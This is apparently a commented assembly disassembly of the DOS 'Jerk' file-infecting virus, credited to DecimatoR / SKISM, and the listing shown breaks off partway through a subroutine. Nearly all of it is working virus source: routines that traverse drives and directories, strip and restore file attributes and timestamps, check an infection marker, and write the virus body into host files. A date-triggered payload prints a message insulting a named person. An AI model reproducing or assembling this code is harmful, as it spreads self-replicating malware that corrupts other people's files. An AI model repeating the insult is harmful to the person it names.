  
PAGE  59,132
  
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛ                             JERK VIRUS                               ÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛ                           Disassembly by                             ÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛ                         DecimatoR / SKISM                            ÛÛ
;ÛÛ NOTE: Although this code compiles with TASM 2.0, it may not function ÛÛ
;ÛÛ       in the same manner as the original virus.  Test it further.    ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
  
data_1e         equ     446h                    ; (009D:0446=10h)
data_2e         equ     2Ch                     ; (8344:002C=0)
data_3e         equ     80h                     ; (8344:0080=0)
data_22e        equ     55Ch                    ; (8344:055C=0)
  
seg_a           segment byte public
                assume  cs:seg_a, ds:seg_a
  
  
                org     100h
  
super           proc    far
  
start:
                call    sub_1                   ; (010A)
                dec     bp
;*              jnz     loc_3                   ;*Jump if not zero
                db       75h, 72h
                jo      loc_2                   ; Jump if overflow=1
                jns     $-6Eh                   ; Jump if not sign
  
super           endp
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_1           proc    near
                jmp     short loc_1             ; (0115)
                db      0CDh, 20h
data_7          dw      9090h, 9090h, 9090h
                db      90h
loc_1:
                cld                             ; Clear direction
                pushf                           ; Push flags
                call    sub_2                   ; (0132)
                call    sub_6                   ; (01B1)
                call    sub_4                   ; (0188)
                call    sub_28                  ; (0491)
                call    sub_27                  ; (041B)
                call    sub_5                   ; (01A0)
                popf                            ; Pop flags
                pop     bp
                mov     bp,100h
                push    bp
                xor     bp,bp                   ; Zero register
                retn
sub_1           endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_2           proc    near
                call    sub_3                   ; (017E)
                mov     ax,3524h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     di,offset ds:[4F4h]     ; (8344:04F4=79h)
                mov     [bp+di],bx
                mov     [bp+di],es
                push    cs
                pop     es
                mov     ax,2524h
                mov     dx,offset int_24h_entry
                add     dx,bp
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                mov     ax,3301h
                xor     dl,dl                   ; Zero register
                int     21h                     ; DOS Services  ah=function 33h
                                                ;  ctrl-break flag al=off/on
                mov     si,offset ds:[10Bh]     ; (8344:010B=9)
                add     si,bp
                mov     cx,9
                mov     di,offset ds:[100h]     ; (8344:0100=0E8h)
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                mov     ah,1Ah
                mov     dx,offset data_21       ; (8344:053E=0)
                add     dx,bp
                mov     [bp+294h],dx
                int     21h                     ; DOS Services  ah=function 1Ah
                                                ;  set DTA to ds:dx
                mov     ah,19h
loc_2:
                int     21h                     ; DOS Services  ah=function 19h
                                                ;  get default drive al  (0=a:)
                mov     [bp+4F8h],al
                mov     bx,0FFFFh
                mov     [bp+53Ch],bx
                retn
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_3:
                pop     bp
                push    bp
                sub     bp,134h
sub_2           endp
  
  
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
;                       External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
  
int_24h_entry   proc    far
                retn
int_24h_entry   endp
  
                db       32h,0C0h,0CFh
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_4           proc    near
                mov     ah,1Ah
                mov     dx,data_3e              ; (8344:0080=0)
                int     21h                     ; DOS Services  ah=function 1Ah
                                                ;  set DTA to ds:dx
                call    sub_7                   ; (01DF)
                mov     ax,2524h
                mov     si,offset ds:[4F4h]     ; (8344:04F4=79h)
                lds     dx,dword ptr [bp+si]    ; Load 32 bit ptr
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                call    sub_5                   ; (01A0)
                retn
sub_4           endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_5           proc    near
                push    cs
                pop     ds
                push    cs
                pop     es
                xor     ax,ax                   ; Zero register
                xor     bx,bx                   ; Zero register
                xor     cx,cx                   ; Zero register
                xor     dx,dx                   ; Zero register
                xor     si,si                   ; Zero register
                xor     di,di                   ; Zero register
                retn
sub_5           endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_6           proc    near
                call    sub_7                   ; (01DF)
                xor     ah,ah                   ; Zero register
                mov     cx,ax
                mov     dh,al
  
locloop_4:
                or      dl,dl                   ; Zero ?
                jnz     loc_5                   ; Jump if not zero
                mov     dl,dh
loc_5:
                call    sub_8                   ; (01E8)
                dec     dl
                jnc     loc_6                   ; Jump if carry=0
                loop    locloop_4               ; Loop if cx > 0
  
                jmp     short loc_ret_8         ; (01DE)
loc_6:
                dec     cx
                jz      loc_7                   ; Jump if zero
                call    sub_9                   ; (021F)
                jnc     loc_ret_8               ; Jump if carry=0
                call    sub_7                   ; (01DF)
                call    sub_8                   ; (01E8)
                jc      loc_ret_8               ; Jump if carry Set
loc_7:
                call    sub_9                   ; (021F)
  
loc_ret_8:
                retn
sub_6           endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_7           proc    near
                mov     ah,0Eh
                mov     dl,[bp+4F8h]
                int     21h                     ; DOS Services  ah=function 0Eh
                                                ;  set default drive dl  (0=a:)
                retn
sub_7           endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_8           proc    near
                push    cx
                push    dx
                mov     ah,36h                  ; '6'
                int     21h                     ; DOS Services  ah=function 36h
                                                ;  get free space, drive dl,1=a:
                cmp     ax,0FFFFh
                je      loc_10                  ; Jump if equal
                mul     cx                      ; dx:ax = reg * ax
                mul     bx                      ; dx:ax = reg * ax
                cmp     ax,800h
                jae     loc_9                   ; Jump if above or =
                or      dx,dx                   ; Zero ?
                jz      loc_10                  ; Jump if zero
loc_9:
                pop     dx
                push    dx
                dec     dl
                mov     ah,0Eh
                int     21h                     ; DOS Services  ah=function 0Eh
                                                ;  set default drive dl  (0=a:)
                mov     ah,5Bh                  ; '['
                xor     cx,cx                   ; Zero register
                mov     dx,offset data_15+3     ; (8344:04FF=0)
                add     dx,bp
                int     21h                     ; DOS Services  ah=function 5Bh
                                                ;  create new file, name @ ds:dx
                jc      loc_11                  ; Jump if carry Set
                mov     ah,41h                  ; 'A'
                int     21h                     ; DOS Services  ah=function 41h
                                                ;  delete file, name @ ds:dx
                jmp     short loc_11            ; (021C)
loc_10:
                stc                             ; Set carry flag
loc_11:
                pop     dx
                pop     cx
                retn
sub_8           endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_9           proc    near
                call    sub_13                  ; (0297)
                mov     ah,3Bh                  ; ';'
                mov     dx,offset ds:[4F9h]     ; (8344:04F9=2)
                add     dx,bp
                int     21h                     ; DOS Services  ah=function 3Bh
                                                ;  set current dir, path @ ds:dx
                call    sub_10                  ; (0232)
                call    sub_14                  ; (02AB)
                retn
sub_9           endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_10          proc    near
                call    sub_11                  ; (025E)
                jc      loc_ret_14              ; Jump if carry Set
                call    sub_13                  ; (0297)
                call    sub_18                  ; (02EE)
                jnc     loc_13                  ; Jump if carry=0
                call    sub_15                  ; (02B8)
                jc      loc_13                  ; Jump if carry Set
loc_12:
                mov     ah,3Bh                  ; ';'
                mov     dx,data_22e             ; (8344:055C=0)
                add     dx,bp
                int     21h                     ; DOS Services  ah=function 3Bh
                                                ;  set current dir, path @ ds:dx
                call    sub_10                  ; (0232)
                jnc     loc_13                  ; Jump if carry=0
                call    sub_14                  ; (02AB)
                call    sub_16                  ; (02D7)
                jnc     loc_12                  ; Jump if carry=0
loc_13:
                call    sub_12                  ; (027C)
  
loc_ret_14:
                retn
sub_10          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_11          proc    near
                mov     di,[bp+294h]
                cmp     di,0FA00h
                cmc                             ; Complement carry
                jc      loc_ret_15              ; Jump if carry Set
                add     di,offset ds:[100h]     ; (8344:0100=0E8h)
                mov     [bp+294h],di
                mov     si,offset data_21       ; (8344:053E=0)
                add     si,bp
                mov     cx,80h
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  
loc_ret_15:
                retn
sub_11          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_12          proc    near
                pushf                           ; Push flags
                mov     si,[bp+294h]
                sub     si,100h
                xchg    si,[bp+294h]
                mov     di,offset data_21       ; (8344:053E=0)
                add     di,bp
                mov     cx,80h
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                popf                            ; Pop flags
                retn
sub_12          endp
  
                db      0F1h, 69h
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_13          proc    near
                mov     di,[bp+294h]
                add     di,data_3e              ; (8344:0080=0)
                mov     al,5Ch                  ; '\'
                stosb                           ; Store al to es:[di]
                mov     ah,47h                  ; 'G'
                mov     si,di
                xor     dl,dl                   ; Zero register
                int     21h                     ; DOS Services  ah=function 47h
                                                ;  get present dir,drive dl,1=a:
                retn
sub_13          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_14          proc    near
                mov     ah,3Bh                  ; ';'
                mov     dx,[bp+294h]
                add     dx,data_3e              ; (8344:0080=0)
                int     21h                     ; DOS Services  ah=function 3Bh
                                                ;  set current dir, path @ ds:dx
                retn
sub_14          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_15          proc    near
                mov     cx,12h
                mov     dx,offset ds:[4FBh]     ; (8344:04FB=0)
                call    sub_20                  ; (0343)
                jc      loc_ret_18              ; Jump if carry Set
                call    sub_17                  ; (02E0)
loc_16:
                jc      loc_ret_18              ; Jump if carry Set
                mov     al,2Eh                  ; '.'
                cmp     al,[bp+55Ch]
                jne     loc_17                  ; Jump if not equal
                call    sub_16                  ; (02D7)
                jmp     short loc_16            ; (02C6)
loc_17:
                clc                             ; Clear carry flag
  
loc_ret_18:
                retn
sub_15          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_16          proc    near
                call    sub_21                  ; (034A)
                jc      loc_ret_19              ; Jump if carry Set
                call    sub_17                  ; (02E0)
  
loc_ret_19:
                retn
sub_16          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_17          proc    near
                mov     cl,10h
loc_20:
                test    cl,[bp+553h]
                jnz     loc_ret_21              ; Jump if not zero
                call    sub_21                  ; (034A)
                jnc     loc_20                  ; Jump if carry=0
  
loc_ret_21:
                retn
sub_17          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_18          proc    near
                push    word ptr [bp+4EAh]
                mov     dx,offset data_15+0Dh   ; (8344:0509=0)
                xor     al,al                   ; Zero register
                call    sub_19                  ; (0313)
                jnc     loc_22                  ; Jump if carry=0
                mov     dx,offset data_15+19h   ; (8344:0515=0)
                xor     al,al                   ; Zero register
                call    sub_19                  ; (0313)
                jnc     loc_22                  ; Jump if carry=0
                mov     dx,offset data_15+1Fh   ; (8344:051B=0)
                mov     al,0FFh
                call    sub_19                  ; (0313)
loc_22:
                pop     word ptr [bp+4EAh]
                retn
sub_18          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_19          proc    near
                mov     [bp+4EAh],al
                mov     cx,23h
                call    sub_20                  ; (0343)
                jc      loc_ret_27              ; Jump if carry Set
                mov     cx,3
loc_23:
                loop    locloop_24              ; Loop if cx > 0
  
                stc                             ; Set carry flag
                retn
  
locloop_24:
                call    sub_22                  ; (034F)
                jc      loc_25                  ; Jump if carry Set
                call    sub_25                  ; (03A9)
                jc      loc_25                  ; Jump if carry Set
                call    sub_26                  ; (03DF)
                jmp     short loc_26            ; (033E)
loc_25:
                call    sub_23                  ; (0371)
                call    sub_21                  ; (034A)
                jnc     loc_23                  ; Jump if carry=0
                retn
loc_26:
                call    sub_23                  ; (0371)
                clc                             ; Clear carry flag
  
loc_ret_27:
                retn
sub_19          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_20          proc    near
                mov     ah,4Eh                  ; 'N'
                add     dx,bp
                int     21h                     ; DOS Services  ah=function 4Eh
                                                ;  find 1st filenam match @ds:dx
                retn
sub_20          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_21          proc    near
                mov     ah,4Fh                  ; 'O'
                int     21h                     ; DOS Services  ah=function 4Fh
                                                ;  find next filename match
                retn
sub_21          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_22          proc    near
                push    cx
                xor     ax,ax                   ; Zero register
                cmp     ax,[bp+55Ah]
                jb      loc_28                  ; Jump if below
                mov     ax,0F000h
                cmp     ax,[bp+558h]
                jb      loc_28                  ; Jump if below
                mov     ax,9
                cmp     [bp+558h],ax
                jb      loc_28                  ; Jump if below
                mov     cl,0
                call    sub_24                  ; (039C)
loc_28:
                pop     cx
                retn
sub_22          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_23          proc    near
                push    cx
                mov     bx,[bp+53Ch]
                cmp     bx,0FFFFh
                je      loc_29                  ; Jump if equal
                mov     ax,5701h
                mov     cx,[bp+554h]
                mov     dx,[bp+556h]
                int     21h                     ; DOS Services  ah=function 57h
                                                ;  get/set file date & time
                mov     ah,3Eh                  ; '>'
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                mov     bx,0FFFFh
                mov     [bp+53Ch],bx
loc_29:
                mov     cl,[bp+553h]
                call    sub_24                  ; (039C)
                pop     cx
                retn
sub_23          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_24          proc    near
                mov     ax,4301h
                xor     ch,ch                   ; Zero register
                mov     dx,data_22e             ; (8344:055C=0)
                add     dx,bp
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get/set file attrb, nam@ds:dx
                retn
sub_24          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_25          proc    near
                push    cx
                mov     dx,data_22e             ; (8344:055C=0)
                add     dx,bp
                mov     ax,3D02h
                int     21h                     ; DOS Services  ah=function 3Dh
                                                ;  open file, al=mode,name@ds:dx
                jc      loc_30                  ; Jump if carry Set
                mov     [bp+53Ch],ax
                mov     dx,offset ds:[10Bh]     ; (8344:010B=9)
                add     dx,bp
                mov     cx,9
                mov     bx,ax
                mov     ah,3Fh                  ; '?'
                int     21h                     ; DOS Services  ah=function 3Fh
                                                ;  read file, cx=bytes, to ds:dx
                mov     cx,6
                mov     si,offset ds:[4EEh]     ; (8344:04EE=0)
                add     si,bp
                mov     di,offset data_7        ; (8344:010E=90h)
                add     di,bp
                repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
                jnz     loc_31                  ; Jump if not zero
                stc                             ; Set carry flag
loc_30:
                pop     cx
                retn
loc_31:
                clc                             ; Clear carry flag
                pop     cx
                retn
sub_25          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_26          proc    near
                mov     di,offset ds:[4ECh]     ; (8344:04EC=0E8h)
                add     di,bp
                mov     ax,[bp+558h]
                sub     ax,3
                stosw                           ; Store ax to es:[di]
                mov     ax,4200h
                mov     bx,[bp+53Ch]
                xor     cx,cx                   ; Zero register
                xor     dx,dx                   ; Zero register
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, cx,dx=offset
                mov     ah,40h                  ; '@'
                mov     cx,9
                mov     dx,offset data_9        ; (8344:04EB=0)
                add     dx,bp
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file cx=bytes, to ds:dx
                mov     ax,4202h
                xor     cx,cx                   ; Zero register
                xor     dx,dx                   ; Zero register
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, cx,dx=offset
                mov     ah,40h                  ; '@'
                mov     cx,435h
                mov     dx,offset ds:[109h]     ; (8344:0109=90h)
                add     dx,bp
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file cx=bytes, to ds:dx
                retn
sub_26          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_27          proc    near
                mov     ah,2Ah                  ; '*'
                int     21h                     ; DOS Services  ah=function 2Ah
                                                ;  get date, cx=year, dx=mon/day
                test    dl,3
                jnz     loc_ret_33              ; Jump if not zero
                mov     ah,2Ch                  ; ','
                int     21h                     ; DOS Services  ah=function 2Ch
                                                ;  get time, cx=hrs/min, dh=sec
                test    dh,3
                jnz     loc_ret_33              ; Jump if not zero
                mov     cx,47h
                mov     si,data_1e              ; (009D:0446=10h)
                add     si,bp
                mov     di,si
  
locloop_32:
                lodsb                           ; String [si] to al
                sub     al,80h
                stosb                           ; Store al to es:[di]
                loop    locloop_32              ; Loop if cx > 0
  
                mov     ah,9
                mov     dx,data_1e              ; (009D:0446=10h)
                add     dx,bp
                int     21h                     ; DOS Services  ah=function 09h
                                                ;  display char string at ds:dx
  
loc_ret_33:
data_8          db      'Craig Murphy calls himself SUPER'
                db      'HACKER but he''s just a talentle'
                db      'ss Jerk!', 0Dh, 0Ah, '$'
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_28:
                mov     al,0FFh
                cmp     al,[bp+4EAh]
                je      loc_34                  ; Jump if equal
                retn
loc_34:
                push    word ptr ds:data_2e     ; (8344:002C=0)
                pop     es
                xor     di,di                   ; Zero register
                mov     al,1
loc_35:
                scasb                           ; Scan es:[di] for al
                jnz     loc_35                  ; Jump if not zero
                inc     di
                push    es
                pop     ds
                mov     dx,di
